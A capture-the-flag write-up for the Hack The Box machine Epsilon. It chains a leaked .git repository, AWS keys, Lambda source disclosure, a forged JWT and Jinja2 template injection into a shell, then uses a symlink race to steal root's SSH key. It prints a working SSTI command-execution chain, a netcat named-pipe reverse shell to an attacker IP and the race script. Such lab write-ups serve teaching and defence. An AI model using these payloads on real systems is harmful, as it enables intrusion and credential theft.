# HTB Linux Medium: Epsilon

Epsilon is a medium Linux box built around a leaked git repository and a locally emulated AWS environment: [https://app.hackthebox.com/machines/Epsilon](https://app.hackthebox.com/machines/Epsilon). It teaches how a single exposed `.git` directory turns into cloud credentials, how cloud credentials turn into source code, and how source code turns into a shell. Root comes from a symlink race against a backup job.

## Summary of the path

`nmap` → `exposed .git on port 80` → `git history leaks AWS keys` → `Lambda code disclosure via awscli` → `Flask source exposes admin login and JWT secret` → `SSTI on /order` → `shell as tom` → `pspy finds root backup job` → `symlink swaps checksum for root id_rsa` → `root over SSH`

## Enumeration

Three ports matter. SSH on 22 (OpenSSH 8.2p1 on Ubuntu focal), Apache on 80, and a Werkzeug development server on 5000 serving something called "Costume Shop". Werkzeug 2.0.2 on Python 3.8.10 tells us the app is Flask, worth remembering when we later go looking for template injection.

```plaintext
$ nmap -sV -sC -A 10.129.96.151
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
80/tcp   open  http    Apache httpd 2.4.41
|_http-title: 403 Forbidden
| http-git:
|   10.129.96.151:80/.git/
|     Git repository found!
|_    Last commit message: Updating Tracking API  # Please enter the commit message for...
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Costume Shop
```

Port 80 is interesting precisely because it looks boring. The index returns 403 Forbidden, so a quick pass would write it off, but nmap's `http-git` script already answered the question we had not asked yet: there is a `.git` directory served over HTTP, directory listing is denied but the objects underneath are not. Apache blocks `/` and `/.git/` while happily serving `/.git/HEAD`, and that is the whole finding.

The box wants hostnames later, so we add them now:

```plaintext
10.129.96.151  epsilon.htb  cloud.epsilon.htb
```

The costume shop on 5000 is a small login-gated app. Unauthenticated we get the login page and a tracking page, and everything else bounces us back to `/`.

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/dada1fd6-c0d6-4294-8a36-8753d8b9b07e.png align="center")

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/e08f3bc6-3b89-4ad4-94cc-559b263e5c9e.png align="center")

## Foothold: from .git to Lambda to SSTI

`git-dumper` walks the object store one blob at a time and rebuilds the repository locally, which is exactly what an exposed `.git` with denied listings allows.

```plaintext
$ git-dumper http://10.129.96.151/.git/ ~/epsilon
[-] Testing http://10.129.96.151/.git/HEAD [200]
[-] Testing http://10.129.96.151/.git/ [403]
<SNIP>
[-] Fetching objects
[-] Fetching http://10.129.96.151/.git/objects/7c/f92a7a09e523c1c667d13847c9ba22464412f3 [200]
<SNIP>
[-] Running git checkout .
```

Read the log before the files, because what a developer removed is usually more interesting than what they kept.

```plaintext
$ git log --oneline
c622771 Fixed Typo
b10dd06 Adding Costume Site
c514416 Updatig Tracking API
7cf92a7 Adding Tracking API Module
```

Four commits, and the first one is named after the module we care about. We check it out and find hardcoded credentials.

```plaintext
$ git checkout 7cf92a7a09e523c1c667d13847c9ba22464412f3
HEAD is now at 7cf92a7 Adding Tracking API Module

$ cat track_api_CR_148.py
import io
import os
from zipfile import ZipFile
from boto3.session import Session

session = Session(
    aws_access_key_id='<REDACTED>',
    aws_secret_access_key='<REDACTED>',
    region_name='us-east-1',
    endpoint_url='http://cloud.epsilong.htb')
aws_lambda = session.client('lambda')
<SNIP>
def update_lambda(lambda_name, lambda_code_path):
    if not os.path.isdir(lambda_code_path):
        raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path))
    aws_lambda.update_function_code(
        FunctionName=lambda_name,
        ZipFile=make_zip_file_bytes(path=lambda_code_path))
```

Two things to take from this file. The obvious one is the key pair. The subtle one is `endpoint_url`, which tells us this is not real AWS, it is an emulated AWS API reachable at a hostname on the box itself. Note the `g` in `cloud.epsilong.htb`: that typo is what the later "Fixed Typo" commit repaired, so the working hostname is `cloud.epsilon.htb`, the one we already put in `/etc/hosts`. Chasing the string as written leads nowhere, a good reminder to read a leaked config as a draft rather than as gospel.

We install awscli v2 and point it at the box:

```plaintext
$ curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64-2.23.6.zip" -o "awscliv2.zip"
$ unzip awscliv2.zip && sudo ./install.sh
<SNIP>
You can now run: /usr/local/bin/aws --version

$ aws configure --profile epsilon
AWS Access Key ID [None]: <REDACTED>
AWS Secret Access Key [None]: <REDACTED>
Default region name [None]: us-east-1
Default output format [None]: json
```

Enumerating the Lambda service gives us a single function, `costume_shop_v1`, and asking for its details hands over a download link for its code. That link is the real prize: `get-function` returns a URL to the deployment package, so read access to Lambda metadata is read access to source.

```plaintext
$ aws --endpoint-url=http://cloud.epsilon.htb lambda get-function \
      --function-name costume_shop_v1 --profile epsilon
{
    "Configuration": {
        "FunctionName": "costume_shop_v1",
        "Runtime": "python3.7",
        "Role": "arn:aws:iam::123456789012:role/service-role/dev",
        "Handler": "my-function.handler",
        "CodeSize": 478,
<SNIP>
    },
    "Code": {
        "Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
    }
}
```

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/e5b5c19d-bf08-4861-b6c8-802a2ff4c0a8.png align="center")

Unzipping the package gives us the Flask application running on port 5000:

```python
#!/usr/bin/python3

import jwt
from flask import *

app = Flask(__name__)
secret = '<REDACTED>'

def verify_jwt(token,key):
	try:
		username=jwt.decode(token,key,algorithms=['HS256',])['username']
		if username:
			return True
		else:
			return False
	except:
		return False

@app.route("/", methods=["GET","POST"])
def index():
	if request.method=="POST":
		if request.form['username']=="admin" and request.form['password']=="admin":
			res = make_response()
			token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
			res.set_cookie("auth",token)
			res.headers['location']='/home'
			return res,302
<SNIP>
app.run(debug='true')
```

The gate is not really a gate once we have this file. `verify_jwt` accepts any HS256 token that carries a `username` claim and validates against `secret`, and `secret` is right there in the source we just downloaded. So we skip the login form entirely and sign our own token for `{"username": "admin"}` with the leaked key, then set it as the `auth` cookie by hand.

```python
>>> import jwt
>>> jwt.encode({"username":"admin"}, '<REDACTED>', algorithm="HS256")
'<REDACTED_JWT>'
```

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/a3190b5b-8435-49b6-b319-3b129a8a547d.png align="center")

Dropping that value into the browser as `auth=<jwt>` is enough, since every protected route only ever asks `verify_jwt` whether the cookie verifies. The hardcoded `admin:admin` in the handler would have worked too, worth noticing as a second finding, but forging the cookie is the cleaner read of the bug: the secret being in the deployment package means authentication is decorative.

The route that matters is `/order`:

```python
@app.route('/order',methods=["GET","POST"])
def order():
	if verify_jwt(request.cookies.get('auth'),secret):
		if request.method=="POST":
			costume=request.form["costume"]
			message = '''
			Your order of "{}" has been placed successfully.
			'''.format(costume)
			tmpl=render_template_string(message,costume=costume)
			return render_template('order.html',message=tmpl)
```

This is the beat worth slowing down for. The developer did the safe thing and passed `costume` into the template as a variable, then undid it on the line above by using `.format()` to build the template string itself. Our input is not template data, it is template source, and `render_template_string` compiles it. Anything we type into the costume field is Jinja2 that the server agrees to execute. We expected to hunt for a sink in the source; instead the sink was two lines long.

The confirmation is the usual one, `{{7*7}}` coming back as 49 inside the order confirmation message:

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/58b9448d-3faa-49c4-a609-cd4d7fbb2943.png align="center")

From there we need a path from the template context to something that can run commands. `self._TemplateReference__context` is the render context object, `cycler` is a global Jinja helper that lives in it, and its `__init__.__globals__` gives us the module globals of the file `cycler` is defined in, which imports `os`. That chain gets us to command execution without needing any object the application itself defined:

```plaintext
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()
```

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/51d89454-6c82-49cd-987d-c49552cc9a93.png align="center")

With execution proven, we swap `id` for a named pipe reverse shell. The payload goes in URL encoded so the shell metacharacters survive the form submission:

```plaintext
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff|sh%20-i%202%3E%261|nc%2010.10.14.250%206969%20%3E%2Ftmp%2Ff').read()
```

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/74c8dc19-60ad-4c46-b997-40d0d3a03417.png align="center")

And the listener catches it:

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/93bcb6b6-7ac8-49f8-a936-ec63b49213e4.png align="center")

## User

There is no lateral movement on this box. The Flask app runs as `tom`, not root, and `tom` owns `user.txt`, so the SSTI shell is already the user shell.

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/d653c77e-062d-4826-b222-40585ddbe1e7.png align="center")

## Privilege escalation

Nothing in the usual sweep of sudo rights and SUID binaries leads anywhere, and the app is a dead end once we have its source. An unremarkable filesystem on a box that clearly automates something is the cue to watch time rather than watch files. We upload `pspy64` and let it sit.

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/56856131-06fc-42ed-a128-106e4e2cf309.png align="center")

The process log shows a root owned backup routine firing on a short interval. It works out of `/opt/backups`, handles a file called `checksum` there, and writes tar archives into `/var/backups/web_backups`. The archive it produces contains `opt/backups/checksum` alongside a nested tar of the site, which is the detail that matters: root reads that path and copies whatever it finds there into an archive we can read.

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/b45b784e-a2a0-42f9-bec8-06c2396ef1fc.png align="center")

```bash
tom@epsilon:~$ cat /usr/bin/backup.sh
#!/bin/bash
file=`date +%N`
/usr/bin/rm -rf /opt/backups/
/usr/bin/tar -cvf "/opt/backups/file.tar" /var/www/app/
sha1sum "/opt/backups/file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/{check_file}.tar" /opt/backups/checksum "/opt/backups/file.tar"
/usr/bin/rm -rf /opt/backups/
```

Read top to bottom, this hands us everything. Each cycle wipes and recreates `/opt/backups/`, tars the web root into `file.tar`, writes a `sha1sum` of that tar into `checksum`, sleeps five seconds, then archives both `checksum` and `file.tar` into `/var/backups/web_backups/`. The second `tar` uses `-h`, which tells `tar` to follow symbolic links and archive what they point at rather than the link itself. And the `sleep 5` is a five second window, sitting right between the moment `checksum` is created and the moment it gets read.

`tom` can write in `/opt/backups`, so we control what `checksum` is. `tar` follows symbolic links it is told to archive, so if `checksum` is a link to a file only root can read, root's own backup job will read it for us and hand us the contents inside a world readable archive.

The one complication is timing. The job recreates `checksum` each cycle, so we have to replace it in the window between its creation and the `tar` that reads it. A short script plus a busy loop is enough to win that race:

```sh
#!/bin/sh

if [ -e /opt/backups/checksum ]; then
	rm -f /opt/backups/checksum
	ln -sf /root/.ssh/id_rsa /opt/backups/checksum
fi
```

```plaintext
tom@epsilon:~$ chmod +x exploit.sh
tom@epsilon:~$ while true; do ./exploit.sh; done
tom@epsilon:~$ ls -la /var/backups/web_backups
-rw-r--r-- 1 root root 1003520 Sep  3 15:15 220542670.tar
-rw-r--r-- 1 root root 1003520 Sep  3 15:16 323537395.tar
-rw-r--r-- 1 root root 1003520 Sep  3 15:17 352081509.tar
```

We take the newest archive, unpack it in `tom`'s home, and read the file that was supposed to be a checksum:

```plaintext
tom@epsilon:~$ cp /var/backups/web_backups/352081509.tar .
tom@epsilon:~$ tar -xvf 352081509.tar
opt/backups/checksum
opt/backups/335417017.tar
tom@epsilon:~$ cat opt/backups/checksum
-----BEGIN OPENSSH PRIVATE KEY-----
<REDACTED>
-----END OPENSSH PRIVATE KEY-----
```

The trailing comment inside the key confirms the owner, `root@epsilon`.

## Root

With the key obtained and `chmod 600` applied, root is a single SSH connection away, no password and no further escalation needed.

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/dd6fc15c-6396-4c0f-9631-89b1fc70939d.png align="center")

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/2ad2b5b6-b505-4ca6-a9f5-3ab3104c111f.png align="center")
